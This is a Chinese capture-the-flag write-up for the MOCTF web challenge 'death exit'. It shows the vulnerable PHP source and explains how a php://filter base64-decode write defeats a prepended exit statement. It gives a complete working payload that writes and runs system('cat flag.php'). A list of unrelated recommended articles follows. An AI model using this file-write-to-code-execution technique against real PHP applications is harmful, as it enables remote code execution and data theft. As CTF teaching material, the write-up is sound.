MOCTF-Web-死亡退出
1、题目:
2、传送门:http://119.23.73.3:5003/
代码:
<?phpshow_source(__FILE__);$c="<?php exit;?>"; //$c=一个退出的php代码@$c.=$_POST['c']; //.=详解见下方:$c=$c$_POST['c']->//$c=<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==@$filename=$_POST['file']; if(!isset($filename)) //如果$filename不存在,执行{}里的{ file_put_contents('tmp.php', ''); //将空写入tmp.php} @file_put_contents($filename, $c); //将$c写入$filenameinclude('tmp.php'); //包含tmp.php文件
?>
注:
.=详解
$a.='bbb'
如果$a的值是字符串a的话
那$a的值应该是'abbb',将a加到bbb的左边
同理的操作符还有+=、-=、*=、/=
file_put_contents() 函数把一个字符串写入文件中
file_put_contents(file,data,mode,context)
3、代码分析:
通过上传字符串变量c,变量c连接
<?php exit;?>
破坏掉语句结构;同时变量c也需要写入到变量filename这个文件中通过执行获得flag。这里就需要用到php://filter伪协议流来进行绕过。使用base64解码的一个漏洞(base64解码不能解码
<、?、空格、?、;、>
等这几个字符),然后就只会解码phpexit,但base64解码是以4个为一组进行解码的,phpexit只有7个,所以需要添加一个字符构成八个字符,才能正常解码,这里随便一个字符就行,然后再连接这里我们需要执行获取flag的命令,所以$c的pyaload为:$c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
(a后面的数值进行base64解码为<?php system('cat flag.php');?>
base64加密之后的字符),最后$c的值为:<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
然后就是利用php://filter伪协议了,file的payload为:
file=php://filter/write=convert.base64-decode/resource=tmp.php
最终的payload为:
c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==&file=php://filter/write=convert.base64-decode/resource=tmp.php
Payload带入源码:
<?phpshow_source(__FILE__);$c="<?php exit;?>";@$c.=$_POST['c']; //步骤见下一行注释//$c=$c$_POST['c']->$c=<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==@$filename=$_POST['file']; //$filenmae=php://filter/write=convert.base64-decode/resource=tmp.phpif(!isset($filename)){ file_put_contents('tmp.php', '');} @file_put_contents($filename, $c);//$filename=$c=<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==include('tmp.php');
?>
使用file=php://filter/write=convert.base64-decode/resource=tmp.php
时,file的值<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
进行base64解码时,删除<、?、空格、?、;、>
还剩52个字符,是phpexitaPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
,正好可以除以4,最后base64解码后为:¦{Ú<?php system('cat flag.php');?>
,现在tmp.php中是¦{Ú<?php system('cat flag.php');?>
,所以可以执行里面的代码,拿到flag
4、拿取flag
最查看源码,得到flag:
MOCTF-Web-死亡退出相关推荐
- [实验室每日一题][20201123][Web]死亡ping命令
原题目:BUUCTF–[第二章 web进阶]死亡ping命令 前置基础(本题会用到的相关知识) 标准输入,标准输出是什么? 要弄清什么是标准输入输出.首先需要弄懂什么是IO. IO 的 I 是 Inp ...
- Java线程死亡(死掉、退出、挂掉)的几种情况
文章目录 1. Java线程死亡的几种情况 2. 验证上述结论 2.1 测试1:线程正常结束后,isAlive()返回False 2.2 测试2:子线程抛出异常之后,线程的isAlive()返回Fal ...
- 简单记录一下MOCTF的三道web题
本人渣渣,于是记录一下 死亡退出 一道代码审计题目 <?phpshow_source(__FILE__);$c="<?php exit;?>";@$c.=$_PO ...
- asp 退出登录修改cookie能进入后台_深入浅出让你理解跨域与SSO单点登录原理与技术...
一:SSO体系结构 SSO SSO英文全称Single Sign On,单点登录.SSO是在多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统.它包括可以将这次主要的登录映射到其他应用 ...
- web.py 十分钟创建简易博客
From:http://blog.csdn.net/caleng/article/details/5712850 一.web.py简介 web.py 是一款轻量级的 Python web开发框架,简单 ...
- Java web学习day12 Cookie
Cookie Cookie是服务器通知客户端保存键值对的一种技术 客户端有了Cookie后,每次请求都发送给服务器 每个Cookie的大小不能超过4kb Cookie的创建 package com.t ...
- python 实现网站_python 实现网站_用web.py实现python网站版hello world网页
github源码安装 浏览器打开https://github.com/webpy/webpy,下载源码zip格式,解压出来.cmd打开,cd到解压目录,输入 python setup.py insta ...
- JAVA Web学习之servlet开发
01.servlet开发入门 动态web资源开发有两种技术:Servlet和JSP,只有把Servlet学明白了才能学JSP. Sun公司在其API中提供了一个Servlet接口,用户若想用一个动态w ...
- Servlet开发入门
Servlet是sun公司提供的一门用于开发动态web资源的技术. Sun公司在其API中提供了一个servlet接口,用户若想开发一个动态web资源(即开发一个Java程序向浏览器输出数据),需要完 ...
- servlet基础总结
什么是servlet Servlet(Server Applet)是Java Servlet的简称,是小服务程序或服务连接器,是用Java编写的服务器端程序,主要功能在于交互式地浏览和修改数据,生成动 ...
最新文章
- 银行软件开发实习生_如何找到学生的软件开发人员实习生
- 十周年“设计大佬”首谈行业变革:数据驱动超过 10% 的业绩增长
- mmap父子进程间通信
- WP7开发小技巧之快捷键
- 美国夫妇用数学算法买彩票赢1.74亿元——网友:现在学数学还来得及吗?
- java串口助手_java 串口调试助手 源码
- JAVA读锁不使用效果一样_Java使用读写锁替代同步锁
- 问题:org.apache.dubbo.remoting.TimeoutException
- canvas绘制验证码
- 2017 Google 开发者大会终于来了!
- 实体与表映射关系XXX.hbm.xml配置详解(转)
- 美国Compuware败退中国市场!又一家外企逃离
- 构建基于浏览器的Web P2P网络直播
- SnakeYaml 嵌套Map写入格式 DumperOptions格式设置
- 平安证券最新股票池强荐4只股
- kerberos详解
- 安装ROS时遇到的一些坑,做个笔记方便自己查看
- 使用TexturePacker命令行的一个坑
- matlab 版 数独小游戏 GUI界面设计
- Python爬虫-爬取快看漫画网图片并拼接成漫画长图
热门文章
- using a dict on a Series for aggregation is deprecated and will be removed in a future version
- 数据湖之iceberg系列(三)iceberg快速入门
- 一文直击Graph Embedding图表示学习的原理及应用
- JVM内存参数设置及常见错误总结
- XGBoost-Python完全调参指南-参数解释篇
- 外观、体验升级 HUAWEI WATCH 2 Pro成智能手表领航者
- 《C++覆辙录》——2.9:自反初始化
- .NET开发Windows Service程序 - Topshelf
- php基本功之_get(),_set()的用法
- 支付宝前端开源框架Alice(解决各个浏览器的样式不一致的问题)